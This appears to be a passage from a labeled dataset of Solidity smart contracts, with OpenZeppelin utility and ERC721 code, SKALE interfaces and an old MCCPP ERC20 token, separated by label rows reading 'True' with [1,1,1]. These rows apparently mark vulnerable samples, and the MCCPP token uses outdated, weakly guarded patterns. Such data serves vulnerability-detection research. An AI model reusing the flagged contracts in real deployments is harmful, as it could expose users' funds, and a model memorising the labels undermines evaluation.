*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
IConstantsHolder.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Artem Payvin
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface IConstantsHolder {
/**
* @dev Emitted when constants updated.
*/
event ConstantUpdated(
bytes32 indexed constantHash,
uint previousValue,
uint newValue
);
function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external;
function setCheckTime(uint newCheckTime) external;
function setLatency(uint32 newAllowableLatency) external;
function setMSR(uint newMSR) external;
function setLaunchTimestamp(uint timestamp) external;
function setRotationDelay(uint newDelay) external;
function setProofOfUseLockUpPeriod(uint periodDays) external;
function setProofOfUseDelegationPercentage(uint percentage) external;
function setLimitValidatorsPerDelegator(uint newLimit) external;
function setSchainCreationTimeStamp(uint timestamp) external;
function setMinimalSchainLifetime(uint lifetime) external;
function setComplaintTimeLimit(uint timeLimit) external;
function msr() external view returns (uint);
function launchTimestamp() external view returns (uint);
function rotationDelay() external view returns (uint);
function limitValidatorsPerDelegator() external view returns (uint);
function schainCreationTimeStamp() external view returns (uint);
function minimalSchainLifetime() external view returns (uint);
function complaintTimeLimit() external view returns (uint);
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Precompiled.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.11;
library Precompiled {
function bigModExp(uint base, uint power, uint modulus) internal view returns (uint) {
uint[6] memory inputToBigModExp;
inputToBigModExp[0] = 32;
inputToBigModExp[1] = 32;
inputToBigModExp[2] = 32;
inputToBigModExp[3] = base;
inputToBigModExp[4] = power;
inputToBigModExp[5] = modulus;
uint[1] memory out;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20)
}
require(success, "BigModExp failed");
return out[0];
}
function bn256ScalarMul(uint x, uint y, uint k) internal view returns (uint , uint ) {
uint[3] memory inputToMul;
uint[2] memory output;
inputToMul[0] = x;
inputToMul[1] = y;
inputToMul[2] = k;
bool success;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 7, inputToMul, 0x60, output, 0x40)
}
require(success, "Multiplication failed");
return (output[0], output[1]);
}
function bn256Pairing(
uint x1,
uint y1,
uint a1,
uint b1,
uint c1,
uint d1,
uint x2,
uint y2,
uint a2,
uint b2,
uint c2,
uint d2)
internal view returns (bool)
{
bool success;
uint[12] memory inputToPairing;
inputToPairing[0] = x1;
inputToPairing[1] = y1;
inputToPairing[2] = a1;
inputToPairing[3] = b1;
inputToPairing[4] = c1;
inputToPairing[5] = d1;
inputToPairing[6] = x2;
inputToPairing[7] = y2;
inputToPairing[8] = a2;
inputToPairing[9] = b2;
inputToPairing[10] = c2;
inputToPairing[11] = d2;
uint[1] memory out;
// solhint-disable-next-line no-inline-assembly
assembly {
success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20)
}
require(success, "Pairing check failed");
return out[0] != 0;
}
} | True | [
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1,
1,
1
] |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function destruct() public onlyOwner {
selfdestruct(owner);
}
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
modifier onlyPayloadSize(uint256 size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MCCPP is StandardToken, Ownable {
string public constant name = "MCC Private Placement";
string public constant symbol = "MCCPP";
uint256 public constant decimals = 8;
function MCCPP() public {
owner = msg.sender;
totalSupply=50000000000000000;
balances[owner]=totalSupply;
}
function () public {
revert();
}
} | True | [
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
